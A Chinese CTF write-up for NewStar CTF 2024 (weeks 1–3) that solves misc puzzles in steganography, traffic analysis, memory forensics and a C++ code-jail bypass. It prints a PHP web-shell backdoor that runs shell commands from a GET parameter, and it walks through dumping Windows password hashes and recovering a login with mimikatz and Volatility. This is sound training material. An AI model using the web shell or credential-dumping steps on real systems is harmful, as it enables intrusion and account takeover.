我电脑在第三周过一半的时候送去修了(CPU风扇不转了做个题都变成烤炉了),所以第四周是一点没动,第五周……搞不出来

所以本WP基本都是Week1~3的内容,4~5的建议去看官方WP

MISC

WhereIsFlag

才。。。才不会告诉你我把flag藏在哪里了!

【难度:简单】

不告诉我们就自己找呗,尝试用find / -iname "flag",但是说无法识别,同时在开始告诉我们了只能用lscdcat

寻找/tmp/home/teriri/home/guest均发现假的flag

然后把目标转向proc,可以从/proc/self/environ找到flag

Labyrinth

听好了:9月23日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。

你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。

至此,一锤定音。

尘埃,已然落定。

#newstar# #LSB# #听好了#

【难度:简单】

这题已经告诉我们是LSB隐写了,直接拿脚本过来用,但是发现解压不出来有意义的东西

丢进StegSolve里面,逐个层看,发现在Red Plane 0有个二维码

扫出来得到flag:flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

decompress

正在失传的技艺之压缩包解压

注:由于平台对flag的长度限制,请把解压的结果再计算32位小写md5后包上flag{}提交

【难度:签到】

附件下载下来是分卷压缩文件,解压就行了,然后按照题目要求md5计算一下

pleasingMusic

一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)

【难度:签到】

用Audacity打开可以看到很明显的摩斯电码特征,给弄出来,结果为. ..- --- .-.- -.--.. . ... .-. --- -- -.--.. ..-- .,翻译出来是EUOESROME,交上去不对

按照题目的意思,我们还可以反着来,反着来结果为. --.. ..--.- -- --- .-. ... . ..--.- -.-. --- -.. .,结果为EZ_MORSE_CODE,改成全小写并包裹flag,得到flag{ez_morse_code},交上去就得分了

兑换码

领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。

【难度:简单】

原神,启动!

一开始这个题目写在png的下面,想的是长宽修改,而且把文件用pngcheck一下发现CRC不对

然后写个脚本去爆破宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import zlib

# 目标CRC值
target_crc = 0x1C204ACF

# IHDR块中除去宽度和高度之外的部分
# 假设 IHDR 中其它字段固定为这些值(颜色类型:RGB+alpha,8位深度,无压缩,无过滤)
ihdr_fixed_data = bytes([0x08, 0x06, 0x00, 0x00, 0x00])

# 生成完整的 IHDR 数据并计算 CRC
def calculate_crc(width, height):
# 将宽度和高度转换为 4 字节(大端序)
ihdr_data = width.to_bytes(4, 'big') + height.to_bytes(4, 'big') + ihdr_fixed_data
# 计算包含 "IHDR" 的 CRC 校验值
return zlib.crc32(b'IHDR' + ihdr_data) & 0xFFFFFFFF

# 爆破宽度和高度
def brute_force_crc():
for width in range(1, 5000): # 设置宽度的范围
for height in range(1, 5000): # 设置高度的范围
crc = calculate_crc(width, height)
if crc == target_crc:
print(f"找到匹配的宽度和高度: 宽度={width}, 高度={height}")
return width, height
return -1, -1


# 开始爆破
brute_force_crc()

跑出来结果是2560*1267,换成十六进制是0xA00 * 0x4E9,去010Editor里面改一下图片的宽高(图示黄色的那个E9

就可以得到flag了,为flag{La_vaguelette}

用溯流仪见证伏特台风

漂亮国也干了。照着2024年7月8日央视新闻的方法来看看隐匿在图片下的东西吧.

新闻视频: https://b23.tv/BV1Ny411i7eM

新闻中提到的威胁盟报告里,隐藏在图片下,Domain下方那个框里所有字符的16位小写md5,包裹 flag{} 即为 flag.

提示:这个视频就是WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

【难度:简单】

好吧,我拼眼力不行,我还不会用wayback machine嘛

在Google上搜书名,得到官方下载链接:https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf

然后去wayback machine,直接一搜,视频里说4月15更改的,最早的也只有这个版本,所以直接下载下来

下载下来以后,跟着视频里面一样移除封底就有了,得到Domainpowerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion

然后根据题目要求,计算一下16位的md5

1
2
3
4
5
6
7
8
9
10
import hashlib

input_string = "powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion"

# 计算 MD5 哈希值
md5_hash = hashlib.md5(input_string.encode()).hexdigest()

# 取前16位
md5_16 = md5_hash[:16]
print(md5_16)

最终得到结果为8519ca216c3ea51b,所以flag为flag{8519ca216c3ea51b}

wireshark_checkin

un搭建了一个简单的http服务器,但是不小心把重要文件删除了,只剩下访问这些文件时的流量,你能帮他找到吗

【难度:签到】

@unknown (doge)

下载下来是wireshark的流量包,先筛选http流量

然后看到个很明显的/flag.txt,右键追踪HTTP流,可以得到flag为flag{ez_traffic_analyze_isn't_it}

wireshark_secret

un偷看涩图,被抓到流量了

【难度:简单】

还是@unknown (doge)

过滤http流量,发现secret.png

右键追踪http流,选择返回的数据,然后显示方式选择原始数据,另存为我们的会话

打开010Editor,把PNG图片头(%PNG)前面的HTTP标头删掉,保存

打开后就可以看到flag了,为flag{you_are_gooddddd}

字里行间的秘密

我横竖睡不着,仔细看了半夜,才从字缝里看出字来

【难度:中等】

压缩包里有一个docx和一个txt,TXT打开内容如下

1
‌‌‌‌‍‬‬‍这里好像有什么东西‌‌‌‌‍‍‌‌‌‌‌‍‍‌‌‌‌‍‬‬‍‌‌‌‌‍‌‌‌‌‌‍‍‌‌‌‌‍‬‬,‌‌‌‌‌‌‌‌‌‌‍‬‍你看见了嘛,是我看错了嘛

(注:在txt文档里里面零宽字符看不到,在Markdown里面能看到替代符)

所以很明显是零宽字符隐写,直接上工具,得到密码it_is_k3y

打开word文档后,发现就一行字,首先按下Ctrl+A看看有没有白色字符,发现有,设置成黑色就出来了,flag为flag{you_h4ve_4nyth1n9}

Herta’s Study

黑塔女士在进行一项新的研究,她截获了银狼作为新手黑客时的渗透流量,不过这小家伙喜欢整点新花样。“在战场上,如果我牺牲了,我不希望我的代码被敌人轻易使用”

【难度:中等】

经过wireshark分析可以得到后门代码

1
2
3
4
5
6
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(base64_decode('J'.str_rot13('T').'5z'), base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs=='));
echo $bbb($payload);
?>

可以看到中间有一段str_rot13,是进行了ROT13计算,我们给它反回来就变成了PT0xKXsNCiAgICAgICAgJG5zWyRpXT1z

所以进行b64解码的字符串为JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUyPT0xKXsNCiAgICAgICAgJG5zWyRpXT1zdHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs==,得到$bbb的实际代码为

1
2
3
4
5
6
7
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
}
}
return $ns;

也就是每个偶数位的字母(因为第一个是0,第二个是1)进行了ROT13计算,所以我们写个脚本把它反回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import codecs

def reverse_rot13(text):
return codecs.encode(text, 'rot_13')

while True:
string = input("请输入需要解码的字符:")
decrypted = ""
reversed_base = ""

# 进行ROT13逆运算
for i in range(len(string)):
if string[i] == "=":
reversed_base += "="
continue
if i % 2 == 1:
reversed_base += reverse_rot13(string[i])
else:
reversed_base += string[i]

decrypted = base64.b64decode(reversed_base).decode()
print("经过ROT13逆运算的编码字符串为:", reversed_base)
print("明文结果为:", decrypted)

然后就可以把所有的输出放进去看看内容了,得到flag为flag{sH3_i4_S0_6eAut1fuL.}

你也玩原神吗(未做出)

如果你玩原神,那么你看得懂这些提瓦特文字吗?请把得到的内容用flag{}包裹

【难度:简单】

打开来附件是个压缩包,里面有张gif,通过ps分层可以得到全是提瓦特文字的图

根据玩家社区的文档,我们可以得知这些文字是蒙德文

SpeedyOrc-C/HoYo-Glyphs: Constructed scripts by HoYoverse 米哈游的架空文字 (github.com)

开始比对,中间的一大段话,打了最开始的是个字母就发现应该是经典占位符文本

1
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

所以这一段没用,看看角落,翻译出来如图

最让我在意的是左上角FLAGISASSENTENCEFLAG IS A SENTENCE,flag是个句子,所以我一开始认为flag就是中间文段的内容,所以就有了flag为flag{LOREM_IPSUM_DOLOR_SIT_AMET_CONSECTETUR_ADIPISCING_ELIT_SED_DO_EIUSMOD_TEMPOR_INCIDIDUNT_UT_LABORE_ET_DOLORE_MAGNA_ALIQUA_QUIS},但是不对

然后我发现左下角搞错了,做下角正确翻译是DOYOUKNOWFENCE即提示我们栅栏密码

尝试使用栅栏密码穷举,密文是右上角+右下角的内容,结果如下

2 IAIAABAGENLHGNTSSGFOKGFMAYMEEISATDOE
3 IFOKIFGAAMMEASYTEOEALAIBGGANTHDNSSEG
4 IGAYATISBEGFAKNIHFAANASMEEGDOSLTGEMO
5 ILEHINSGITTSAGOSAFAODGAKAFBMEYGAEMNE
6 IEFASIGAALIGMBOAGGETASSNMDYHTFAKONEE
7 IAFSGOAGNTKEILFOHMDYNAAGATMASEEIGBES
8 IASMAHGAMNAEFEILKSBSYDEGGTFGATAONOIE
9 IASMANGYDEOHAEFEILKSBNGIEAMSGTFGATAO
10 IAGKEANGYDEOHASFTAIESATBNGIEAMSGOMFL
11 IALSFEANGYDEOHASAFGAIETKMTBNGIEAMSGO
12 IALSFEOBHGYDEONGASAFGAIETKMTANSGIEAM
13 IALSFEOBHGMIEAYONGASAFGAIETKMTANSGED
14 IALSFEOBHGMEAEDIYONGASAFGAIETKMTANSG
15 IALSFEOBHSOMEAEDIYGGNGASAFGAIETKMTAN
16 IALSFEOAGHSOMEAEDIYGGNNBASAFGAIETKMT
17 IALSFMSOAGHSOMEAEDIYGGNNBATEAFGAIETK
18 IALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGAIE
19 IIALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGEA
20 IIAALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGE
21 IIAAELTFFMSOAGHSOMEAEDIYGGNNBATEAKSG
22 IIAAELGTFFMSOAGHSOMEAEDIYGGNNBATEAKS
23 IIAAELGTSFFMSOAGHSOMEAEDIYGGNNBATEAK
24 IIAAELGTSFKFMSOAGHSOMEAEDIYGGNNBATEA
25 IIAAELGTSFKFAMSOAGHSOMEAEDIYGGNNBATE
26 IIAAELGTSFKFAMESOAGHSOMEAEDIYGGNNBAT
27 IIAAELGTSFKFAMESTOAGHSOMEAEDIYGGNNBA
28 IIAAELGTSFKFAMESTOAAGHSOMEAEDIYGGNNB
29 IIAAELGTSFKFAMESTOAABGHSOMEAEDIYGGNN
30 IIAAELGTSFKFAMESTOAABGNHSOMEAEDIYGGN
31 IIAAELGTSFKFAMESTOAABGNHNSOMEAEDIYGG
32 IIAAELGTSFKFAMESTOAABGNHNSGOMEAEDIYG
33 IIAAELGTSFKFAMESTOAABGNHNSGOGMEAEDIY
34 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEAEDI
35 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEIAED
36 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEIADE

没有什么有意义的结果,他说是个句子,所以说明不对,但是没抓手了,跑路!

热心助人的小明同学

小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

【难度:简单】

试错部分

这是一题内存取证题目,通过vol2(或者vol3)可以得到这是一个Windows7系列的内存镜像

然后尝试提取出密码,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 hashdump

1
2
3
4
5
6
7
>vol.exe -f image.raw --profile=Win7SP1x86_23418 hashdump

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10eca58175d4228ece151e287086e824:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:bd4667328af8beb097a299187278c48f:::
Xiaohong:1003:aad3b435b51404eeaad3b435b51404ee:3fa7d7d3c37b8e9baaf6ed13d70ed858:::

得到Xiaohong的密码经过LM哈希和NTLM哈希分别为aad3b435b51404eeaad3b435b51404ee3fa7d7d3c37b8e9baaf6ed13d70ed858

尝试hashcat爆破,使用的字典是rockyou.txt,但是爆破不出来

尝试寻找提示,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 cmdline查看终端命令运行情况,看到有个C:\Users\Xiaohong\Desktop\Diary.txt,估计是提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
>vol.exe -f image.raw --profile=Win7SP1x86_23418 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid: 4
************************************************************************
smss.exe pid: 612
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid: 708
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid: 740
Command line : wininit.exe
************************************************************************
csrss.exe pid: 748
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
services.exe pid: 788
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid: 804
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid: 812
Command line : C:\Windows\system32\lsm.exe
************************************************************************
winlogon.exe pid: 844
Command line : winlogon.exe
************************************************************************
svchost.exe pid: 960
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid: 1036
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid: 1116
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid: 1160
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid: 1208
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid: 1244
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
TrustedInstall pid: 1320
Command line : C:\Windows\servicing\TrustedInstaller.exe
************************************************************************
svchost.exe pid: 1480
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
spoolsv.exe pid: 1596
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid: 1624
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
svchost.exe pid: 1720
Command line : C:\Windows\System32\svchost.exe -k ICService
************************************************************************
svchost.exe pid: 1844
Command line : C:\Windows\System32\svchost.exe -k utcsvc
************************************************************************
svchost.exe pid: 1884
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
VSSVC.exe pid: 2196
Command line : C:\Windows\system32\vssvc.exe
************************************************************************
sppsvc.exe pid: 2408
Command line : C:\Windows\system32\sppsvc.exe
************************************************************************
taskhost.exe pid: 2596
Command line : "taskhost.exe"
************************************************************************
dwm.exe pid: 2732
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid: 2812
Command line : C:\Windows\Explorer.EXE
************************************************************************
SearchIndexer. pid: 3164
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
SearchProtocol pid: 3232
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
************************************************************************
SearchFilterHo pid: 3252
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 568 572 580 65536 576
************************************************************************
wmpnetwk.exe pid: 3336
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
WmiPrvSE.exe pid: 3568
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
svchost.exe pid: 3688
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
notepad.exe pid: 3924
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Xiaohong\Desktop\Diary.txt
************************************************************************
MagnetRAMCaptu pid: 2980
Command line : "C:\Users\Xiaohong\Desktop\MagnetRAMCapture.exe"
************************************************************************
mscorsvw.exe pid: 1768
Command line : C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
************************************************************************
svchost.exe pid: 2372
Command line : C:\Windows\System32\svchost.exe -k secsvcs

接着尝试把这个文件提取出来,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 filescan | findstr txt尝试寻找文件所在的内存地址

1
2
3
4
5
>vol.exe -f image.raw --profile=Win7SP1x86_23418 filescan | findstr txt

Volatility Foundation Volatility Framework 2.6
0x00000000f554bf80 8 0 RW-r-- \Device\HarddiskVolume2\Users\Xiaohong\Desktop\Diary.txt
0x00000000f55ccb30 1 1 -W-rw- \Device\HarddiskVolume2\Users\Xiaohong\AppData\Local\Temp\FXSAPIDebugLogFile.txt

看到文件所在内存地址为0xf554bf80,尝试提取出来,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 -D ./将文件提取到当前目录

1
2
3
4
>vol.exe -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 -D ./

Volatility Foundation Volatility Framework 2.6
DataSectionObject 0xf554bf80 None \Device\HarddiskVolume2\Users\Xiaohong\Desktop\Diary.txt

打开得到提示

1
2
I think it's too tiring to enter a complex password every time I log in, 
so it would be nice if I could log in automatically

意思就是Xiaohong账户启用了自动登录,再尝试用mimikatz拿下密码

在新的Kali WSL中安装volatility2和mimikatz

为什么要重装?因为我的Windows里面打包的vol2是个exe文件,里面的库是固定的,而且不能装插件,然后我就再开了个Kali的WSL

安装Python2

很简单,用apt就行了,但是要先换源

1
2
$ sudo sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list
$ sudo apt update

换源后直接apt install

1
$ sudo apt install python2 -y

然后还得把pip2安装一下

1
2
$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
$ sudo python2 get-pip.py

安装volatility2

先从Github把这玩意clone下来

1
2
$ git clone https://github.com/volatilityfoundation/volatility.git
$ cd volatility

然后就正常的安装过程

1
$ sudo python2 setup.py install

需要一段时间,会自动安装完毕

安装其他轮子和模块

pycryptodome(Crypto模块)
1
$ python2 -m pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
distorm3
1
2
3
4
$ git clone https://github.com/vext01/distorm3
$ cd distorm3
$ sudo apt install gcc -y
$ sudo python2 setup.py install
mimikatz
1
2
3
4
5
6
7
$ python2 -m pip install construct
$ cd /usr/lib/python2.7/dist-packages
$ mkdir volatility
$ cd volatility
$ mkdir plugins
$ wget https://raw.githubusercontent.com/RealityNet/hotoloti/master/volatility/mimikatz.py
$ chmod +x mimikatz.py

运行vol.py --plugin=/usr/lib/python2.7/dist-packages/volatility/plugins -f image.raw --profile=Win7SP1x86_23418 mimikatz

结果没有输出,说明mimikatz拿不到密码

1
2
3
4
5
┌──(ctfos㉿Hello-CTF)-[/usr/lib/python2.7/dist-packages/volatility/plugins]
└─$ vol.py --plugin=/usr/lib/python2.7/dist-packages/volatility/plugins -f image.raw --profile=Win7SP1x86_23418 mimikatz
Volatility Foundation Volatility Framework 2.6.1
Module User Domain Password
-------- ---------------- ---------------- ----------------------------------------

那没办法了,只能看看怎么拿自动登录的密码了,结果搞了半天没弄出来,所以先放一边

使用PasswareKitForensic可以直接秒杀这个题,因为题目告诉我们是内存镜像,所以直接选内存分析

试错环节中知道了是Windows电脑,所以只勾选Windows

经过差不多五分钟的破解,就出来了,得到密码ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh

从而得到flag,flag为flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

马后炮环节

vol2其实能做,lsadump可以出来密码,我当时想多了看到乱码以为是错的

除掉开头的H,后面所有的可见字符就是密码

BGM坏了吗?

刚想听一篇推文,但是bgm吵死了,我忍了又忍,摈除杂音仔细听,up难道在拨号吗?(以flag{}形式提交)

【难度:简单】

题目说拨号,在Audacity里面打开,选择频谱图,可以看到在尾巴,而且只有右声道有

直接导出,然后用软件识别

识别软件dtmf2num:http://aluigi.altervista.org/mytoolz/dtmf2num.zip

得到拨号音代表的数字为20240930202411003,但是不对,所以我选择具体来看里面的内容长度,我用的是Github上的一个项目dtmp-decoder,详细看就能够看到每一秒的内容

具体可以看到在第一秒的中间,0断了一下,但是假设每一个音的长度相同,则应该是连续的7个0,所以我猜测这里是假的中断(具体看频谱图也能看出来)

所以得到真正的flag是flag{2024093020241103},提交得分

OSINT-MASTER

我重生了,这一世我是osint带师,我一定要找到之前坐过的那架航班!

【难度:简单】

明显是社工题,下载附件有一张图,一个txt,内容如下

1
2
3
4
我重生了,上一世最后一刻我是在一架飞机上。
这一世,我拿着手上这张照片,下定决心,一定要找到之前坐过的那架航班!
flag格式:flag{航班号_照片拍摄时飞机经过的地级市}
示例:flag{YU8915_廊坊市}

图片我放下面

题目提供的图片

图片内可以看到飞机的相关信息——B-2419,为这架飞机的注册号

通过注册号,可以得到航班号为CES5315或者MU5315,所以可以确定flag前半为CES5315或者MU5315,而在大多数网站中,我发现都是称作MU5315,所以暂且认为前半是MU5315

这趟航班,飞行经过的地方有上海市、苏州市、湖州市、杭州市、衢州市、上饶市、南昌市、吉安市、萍乡市、株洲市、衡阳市、郴州市、清远市,终点为广州市

而图片中,我们能够看到云层在飞机的下方,也就是说,飞机现在在巡航高度,也就是距离起点或者终点比较近的位置

AmazingGame

出题人们都好狠啊,题做累了不如来玩玩游戏吧,还有就是,安卓软件私有数据会放在哪?(游戏至少通过一个关卡才会有存档)

【难度:简单】

打开了游戏,因为题目说要完成一把才有存档,所以先手动跑完了第一关

然后去应用的数据目录改存档,一般来说早期安卓版本的安卓软件的数据在/data/data/<package_name>/shared_prefs/里面,这个在/data/data/com.pangbai.projectm/shared_prefs/,里面只有一个net.osaris.turbofly.JumpyBall.xml,完成第一把后就可以看到xml文件的详细内容

1
2
3
4
5
6
7
8
9
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="unlockedsolotracks" value="1" />
<int name="unlockedtracks" value="1" />
<int name="best0m0" value="129" />
<int name="unlockedships" value="1" />
<int name="userid" value="289145" />
</map>

然后很明显的就能知道unlockedsolotracksunlockedtracks是解锁的关卡,而unlockedships是解锁的车子,我们根据题目要求,把关卡改为20,然后把车改为5(因为车子就5个)

1
2
3
4
5
6
7
8
9
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="unlockedsolotracks" value="20" />
<int name="unlockedtracks" value="20" />
<int name="best0m0" value="129" />
<int name="unlockedships" value="5" />
<int name="userid" value="289145" />
</map>

然后打开游戏,发现存档并没有被修改,然后我发现是打开这个软件的那个时候,会自动恢复,应该是有存档校验,所以点击START GAME后再改,然后跑完第二十关得到flag为flag{U_W1n!!_7he_g@m4}

ez_jail

no {} no cpp?

【难度:中等】

附件下载下来是docker源文件

直接先build

1
$ sudo docker build -t ez_jail .

经过了长达三分钟的build后,就可以准备来跑容器了

1
$ sudo docker run -d --name ez_jail_instance ez_jail

启动完成后,启动一个容器的终端

1
$ sudo docker exec -it ez_jail_instance /bin/bash

使用ls命令,发现当前目录下有server.pytemplate.cc,内容如下

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import base64
import subprocess


def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"


if __name__ == "__main__":
print("Welcome to the easy cpp code jail!")
print("Please input your base64 encoded code:")
base64_code = input()
try:
user_code = base64.b64decode(base64_code).decode()
except Exception as e:
print("Invalid base64 code")
exit(1)
is_valid, msg = cpp_code_checker(user_code)
if is_valid:
print("Code is valid")
print("Executing code...")
with open("/home/ctf/template.cc", "r", encoding="utf-8") as f:
template_code = f.read()
real_code = template_code.replace(
"{{your_function_for_printing_hello_world}}", user_code
)
with open("/tmp/real_code.cc", "w", encoding="utf-8") as f:
f.write(real_code)
try:
subprocess.run(
["g++", "/tmp/real_code.cc", "-lseccomp", "-o", "/tmp/real_code"],
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
if (
subprocess.run(
["/tmp/real_code"],
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
.stdout.decode()
.startswith("Hello, World!")
):
print("Congratulations! You have successfully executed the code!")
with open("/flag", "r", encoding="utf-8") as f:
print(f"Flag: {f.read()}")
except subprocess.CalledProcessError as e:
print(f"Error: {e.stderr.decode()}")
exit(1)
else:
print(f"Code is invalid: {msg}")
exit(1)

template.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <iostream>
#include <seccomp.h>
#include <unistd.h>
#include <stdio.h>

{{your_function_for_printing_hello_world}}

int main() {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0);
seccomp_load(ctx);
user_code();
seccomp_release(ctx);
return 0;

template.cc可以看到有user_code函数,而且上面有{{your_function_for_printing_hello_world}},所以应该是让我们写一个输出hello world的代码,我们运行一下server.py,看到给我们弹提示

让我们写经过base64编码后的hello world代码,先尝试一下正常写

1
2
3
4
void user_code()
{
cout<<"hello world";
}

然后经过b64编码发出去,会弹提示

就是说告诉我们不能用{},不愧是题目说的No {} No CPP,那我们就得避免用{}了,尝试使用宏,发现还是不行,它不让我们用宏

所以这里就得找能够替代{},同时也能够符合C++语法的玩意了

而C++的编译分为9个阶段,这里面就是涨芝士的时候了

C++编译的9个阶段

  • **字符映射(Character Mapping)**:文件中的物理源字符被映射到源字符集中,其中包括三字符运算符的替换、控制字符(行尾的回车换行)的替换。许多非美式键盘不支持基本源字符集中的一些字符,文件中可用三字符来代替这些基本源字符,以??为前导。
    但如果所用键盘是美式键盘,有些编译器可能不对三字符进行查找和替换,需要增加-trigraphs编译参数。在C++程序中,任何不在基本源字符集中的字符都被它的通用字符名替换。
  • **行合并(Line Splicing)**:以反斜杠\结束的行和它接下来的行合并。
  • **标记化(Tokenization)**:每一条注释被一个单独的空字符所替换。C++双字符运算符被识别为标记(为了开发可读性更强的程序,C++为非ASCII码开发者定义了一套双字符运算符集和新的保留字集)。源代码被分析成预处理标记。
  • **预处理(Preprocessing)**:调用预处理指令并扩展宏。使用#include指令包含的文件,重复步骤1到4。上述四个阶段统称为预处理阶段。
  • **字符集映射(Character-set Mapping)**:源字符集成员、转义序列被转换成等价的执行字符集成员。例如:’\a’在ASCII环境下会被转换成值为一个字节,值为7。
  • **字符串连接(String Concatenation)**:相邻的字符串被连接。例如:”””Hello””World”将成为”HelloWorld”。
  • **翻译(Translation)**:进行语法和语义分析C++编译,并翻译成目标代码。
  • 处理模板处理模板实例。
  • **连接(Linkage)**:解决外部引用的问题,准备好程序映像以便执行。

所以,我们可以使用代用字符或者三标符来替换掉{},但是使用三标符在C++17及以后已经被移除,所以我们这道题应该使用代用字符

下面是代用字符表格

现代字符 代用字符
&& and
&= and_eq
& bitand
` `
~ compl
! not
!= not_eq
|| or
` =`
^ xor
